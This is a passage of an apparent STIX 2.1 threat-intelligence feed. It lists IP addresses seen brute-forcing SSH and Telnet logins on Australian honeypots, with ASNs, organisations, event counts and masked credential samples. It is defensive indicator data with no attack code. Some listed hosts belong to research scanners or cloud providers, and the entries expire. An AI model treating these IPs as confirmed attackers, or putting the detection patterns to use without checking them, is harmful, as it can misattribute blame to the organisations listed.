      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--add3f21a-a7ec-430f-834b-2d0e641d6c44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.92.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T09:15:10.000Z",
      "valid_until": "2026-06-17T09:15:08.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, a**x. Passwords observed (masked): !******r, 1****6, 2****8, L******6.",
      "id": "indicator--b50b62a4-53c8-423a-aac2-6dce82265d9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.222.42.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 4761. Organisation(s): INDOSAT Internet Network Provider. Usernames observed (masked): r**t, 3**********4, d****y, j*****l, s******y. Passwords observed (masked): !******r, 1****6, 2****8, 3***********4, 3**********4.",
      "id": "indicator--7c0ccce8-f8d6-437b-88dd-a16e987d8074",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.10.47.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 38794. Organisation(s): UIH. Usernames observed (masked): r**t, 3**********4, j*****l, u**r. Passwords observed (masked): !******r, 0****0, 1****6, 3***********4, 3**********4.",
      "id": "indicator--0ddd41d0-74e2-45b5-8136-291876849f69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.121.214.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22, 23. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--5353ebd4-9c96-4e70-90ad-e31996bb176a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.170.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a**n, p***h. Passwords observed (masked): 3***********4, 3**********4, **, a**n, p***h.",
      "id": "indicator--1c6ba1a7-91fb-4393-8937-00ae37614feb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.67.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AT. ASN(s): 5385. Organisation(s): Russmedia IT GmbH.",
      "id": "indicator--d60af206-19f4-4f02-bd84-952eeefbab65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.208.96.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, m******e, s******y, s*******r. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, ***.",
      "id": "indicator--c4b7b6e6-1ad5-4178-8e4c-80321658c74d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.173.88.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--dca15230-0ad6-4cb0-ab42-03a35ede88ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.95.113.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 8376. Organisation(s): Jordan Data Communications Company LLC.",
      "id": "indicator--0216a17c-2202-45d6-9ddd-26d462e38fec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.108.17.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:15:11.000Z",
      "valid_until": "2026-06-17T10:15:09.000Z"
    },
    {
      "created": "2026-05-16T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 50487. Organisation(s): Santosha LTD.",
      "id": "indicator--dfd35a07-18a3-46d0-8882-3c9f1e996e4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.191.104.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T11:15:10.000Z",
      "valid_until": "2026-06-17T11:15:08.000Z"
    },
    {
      "created": "2026-05-16T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d5364081-3480-4139-9894-855b8073df55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T11:15:10.000Z",
      "valid_until": "2026-06-17T11:15:08.000Z"
    },
    {
      "created": "2026-05-16T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--71d5d1ee-a55e-4023-8a26-5070b5a2de46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.59.71.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T11:15:10.000Z",
      "valid_until": "2026-06-17T11:15:08.000Z"
    },
    {
      "created": "2026-05-16T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: GE. ASN(s): 20771. Organisation(s): Caucasus Online Ltd..",
      "id": "indicator--556083ba-f8e9-4eb3-8896-507bd367abe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.117.36.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T11:15:10.000Z",
      "valid_until": "2026-06-17T11:15:08.000Z"
    },
    {
      "created": "2026-05-16T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--a6b62dbd-fb15-4264-aa36-b8786e76e2aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.13.48.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T12:15:13.000Z",
      "valid_until": "2026-06-17T12:15:08.000Z"
    },
    {
      "created": "2026-05-16T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--52937c75-2e32-4e16-a9e7-af241725d6ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.83.227.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T12:15:13.000Z",
      "valid_until": "2026-06-17T12:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--32c22280-0297-4214-805e-c52e8fed8e35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.224.10.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 202651. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--ef4b731e-9332-4cff-ba16-9353952783d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.246.142.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 17072. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--95768775-2a0a-49ff-966a-ded62e6e59d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.190.189.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom.",
      "id": "indicator--7f004ef7-b7c2-4df5-bf59-ce90cac10ab4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.248.220.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5432. Source country: HK. ASN(s): 51847. Organisation(s): Nearoute Limited. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--9a16ad93-909c-4cf0-b0c7-aa968d287031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.54.3.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--5167be08-94d2-4c01-a7fb-598cbdc010ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.111.68.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--03f21a3d-936b-4e53-b76b-fef080fa4d43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d361a550-913b-477c-9225-d16a447aafc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS. Usernames observed (masked): ***, b*************************************************************************************************************************************************************************************************\", b*********************************************************************************************************************************************************'. Passwords observed (masked): \u0000***********************************************\b, b***************************************************************************************************************************************************************************************************************************************\", b*********************************************************************************************************************************************************************************************************************************'.",
      "id": "indicator--cfb2f5ac-8948-4874-bd14-602bc4bd33ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:15:11.000Z",
      "valid_until": "2026-06-17T13:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--f519652b-5ac6-4885-9954-ae576f6d1394",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.15.51.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 329126. Organisation(s): IIP-AS.",
      "id": "indicator--42659597-23c4-48e4-a3a4-2c43bf80c2e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.214.117.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 1680. Organisation(s): Cellcom Fixed Line Communication L.P.",
      "id": "indicator--18c83e2d-0fc5-407d-bfd6-8e063129da8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.186.76.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--299cca5b-0d7f-4b1b-b4c3-077ccabeb589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.208.234.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--64860cbd-4872-47d4-8406-a3cd59a570f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.211.68.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--3c1639a8-9414-4b3a-8e0f-f231c4b7d5f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.167.3.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 20207. Organisation(s): Gigared S.A..",
      "id": "indicator--14fbdb7e-59b3-4734-957b-661e86ce242e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.183.28.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 327934. Organisation(s): Tunisie-Telecom. Usernames observed (masked): **. Passwords observed (masked): **.",
      "id": "indicator--4f79f294-9da6-4adf-8942-cb50d1ba0ed3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.5.145.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 1251. Organisation(s): FUNDACAO DE AMPARO A PESQUISA DO ESTADO SAO PAULO.",
      "id": "indicator--e4653b9f-6d13-4b9d-bcea-09a5ef3ff2d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.136.74.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 402169. Organisation(s): USCLOUD INC - Uscloud Inc. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--bf0c0fe4-8d66-4a1f-ad42-0ab52636a48d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.12.31.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
